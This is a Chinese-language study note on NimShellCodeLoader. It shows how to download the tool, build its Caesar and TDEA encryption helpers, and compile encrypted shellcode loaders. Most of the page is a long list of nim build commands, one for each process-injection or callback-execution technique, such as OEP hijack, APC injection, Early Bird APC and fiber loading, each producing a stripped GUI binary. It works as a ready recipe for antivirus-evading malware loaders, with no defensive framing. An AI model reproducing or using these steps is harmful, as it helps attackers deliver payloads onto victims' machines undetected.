【笔记】NimShellCodeLoader学习笔记

前言

NimShellCodeLoader学习笔记

下载项目

1
2
wget https://github.com/aeverj/NimShellCodeLoader/releases/download/0.3.4/NimShellCodeLoader.zip
unzip NimShellCodeLoader.zip

Windows通过GUI生成ShellCode加载器

  • 运行NimShellCodeLoader\codeLoader.exe

  • 将ShellCode的bin文件拖入->选择加密方式->选择ShellCode加载方式->Generate

Linux或MacOS通过命令行生成ShellCode加载器

编译可执行文件

  • 编译NimShellCodeLoader/encryption/Tdea.nimNimShellCodeLoader/encryption/Caesar.nim为可执行文件
NimShellCodeLoader/
1
2
nim c -d:release --opt:size encryption/Tdea.nim
nim c -d:release --opt:size encryption/Caesar.nim

生成ShellCode加载器

Caesar

1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
1
nim c -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
1
nim c -d:strip -d:Caesar -d:icoPath="<file>.bin" -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
1
nim cpp -d:Caesar -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim

TDEA

1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
1
nim c -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
1
nim c -d:strip -d:TDEA -d:icoPath="<file>.bin" -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumLanguageGroupLocalesW.nim
1
nim cpp -d:TDEA -d:icoPath="<file>.bin" -d:strip -d:release -d:source="<file>.bin" --app:gui --opt:size -o:.\bin\ -f EnumObjects.nim

完成

参考文献

微信公众号——NoteSec